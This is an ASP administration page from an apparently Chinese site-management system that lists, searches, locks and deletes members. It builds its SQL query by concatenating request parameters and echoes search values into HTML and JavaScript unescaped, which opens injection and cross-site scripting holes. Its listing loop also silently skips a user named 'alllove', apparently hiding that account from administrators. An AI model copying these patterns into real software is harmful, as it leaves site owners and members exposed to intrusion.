📄 member_admin.asp
字号:
<!--#include file="../inc/CheckAdmin.asp"-->
<!--#include file="../inc/Config.asp"-->
<!--#include file="../inc/Conn.asp"-->
<%
Dim Language,table,Sortid,sql
Flag=formatStr(Request("Flag"))
Grade=formatStr(request("Grade"))
KeyWord=formatStr(request("KeyWord"))
sql="select * from Members where Flag like '%"&Flag&"%' and UserName like '%"&KeyWord&"%' and Grade <> 9 order by ID DESC"
set rs=server.CreateObject("adodb.recordset")
rs.open sql,conn,1,3
rs.pagesize=20
%>
<!--#include file="../../inc/Page_function.asp"-->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>网站管理系统</title>
<link href="../Css_Main.css" rel="stylesheet" type="text/css">
</head>
<script language="JavaScript">
<!--
function CheckAll(formall)
{
for (var i=0;i<formall.elements.length;i++)
{
var e = formall.elements[i];
if (e.name == 'delid')
e.checked = formall.chkall.checked;
}
}
-->
</script>
<body>
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" class="border">
<tr>
<td class="title_dh"><div align="center">会员管理</div></td>
</tr>
<form action="" method="get" name="form">
<tr>
<td class="tdbg"><div align="left"><strong>搜索：</strong>
<!-- <select name="Grade" id="Grade" onChange="location.href='?Flag=<%'= Flag %>&Grade='+this.options[selectedIndex].value">
<option value="" selected>所有级别</option>
<option value="1" <% 'If Grade="1" Then Response.Write(" selected") %>>普通会员</option>
<option value="2" <% 'If Grade="2" Then Response.Write(" selected") %>>商务会员</option>
<option value="3" <% 'If Grade="3" Then Response.Write(" selected") %>>VIP会员</option>
</select> -->
<select name="Flag" id="Flag" onChange="location.href='?Grade=<%= Grade %>&Flag='+this.options[selectedIndex].value">
<option value="" selected>请选择状态</option>
<option value="1" <% If Flag="1" Then Response.Write(" selected") %>>正常</option>
<option value="0" <% If Flag="0" Then Response.Write(" selected") %>>锁定</option>
</select>
<input name="Keyword" type="text" id="Keyword" size="20" value="<%= Keyword %>">
<input name="Submit" type="submit" id="Submit" value="查询">
</div></td>
</tr></form>
</table>
<form name="form1" method="post" action="Member_del.asp">
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" class="border">
<tr class="title_top">
<td width="6%"><div align="center">选择 </div></td>
<td width="10%"><div align="center"> 用户名</div></td>
<td width="11%"><div align="center">真实姓名</div></td>
<td width="17%"><div align="center"> 邮箱</div></td>
<td width="12%"><div align="center">注册时间</div></td>
<td width="8%"><div align="center"> 状态</div></td>
<td width="26%"><div align="center">操作</div></td>
</tr>
<% if rs.eof and rs.bof then %>
<tr class="tdbg">
<td colspan="7">
<div align="center"> 暂时没有会员</div>
</td>
</tr>
<% else %>
<% for i=1 to rs.PageSize
if rs.EOF or rs.BOF then exit for
if lcase(rs("username"))="alllove" then
rs.movenext
if rs.eof then exit for
end if
%>
<tr class="tdbg">
<td>
<div align="center">
<input type="checkbox" name="delid" value="<%= rs("id") %>">
</div></td>
<td>
<div align="center"><a href="Member_Edit.asp?id=<%= rs("id") %>"><%= rs("UserName") %></a></div></td>
<td><div align="center"><%= rs("Name") %></div></td>
<td>
<div align="center"><%= rs("Email") %></div></td>
<td><div align="center"><%= rs("DateTime") %></div></td>
<td>
<div align="center">
<% if rs("flag")=0 then
response.Write"<a href='../inc/confirm.asp?id="&rs("ID")&"&flag="&rs("flag")&"' title='点击将使此会员进入正常状态'>已锁定</a>"
else
response.Write"<a href='../inc/confirm.asp?id="&rs("ID")&"&flag="&rs("flag")&"' title='点击将锁定此会员'>正常</a>"
end if %>
</div></td>
<td><div align="center"><a href="Member_Edit.asp?id=<%= rs("id") %>">查看/修改</a> | <a href="Member_Del.asp?delid=<%= rs("id") %>" onClick="return confirm('此操作不可恢复,确定执行吗？');">删除</a></div></td>
</tr>
<% rs.movenext
next
%>
</table>
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td height="40">
<div align="center">
<input type="checkbox" name="chkall" value="on" onClick="CheckAll(this.form)" title='全选/不选' >
全选/不选
<input type="submit" name="Submit2" value="删除所选" onClick="return confirm('此操作不可恢复,确定执行吗？');">
</div></td>
</tr>
</table>
<div align="center">
</div>
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" class="border">
<tr>
<td>
<div align="center"><!-- #include file="../../inc/showpage.asp" --></div></td>
</tr>
</table> </form>
<% end if
rs.close
set rs=nothing
%>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -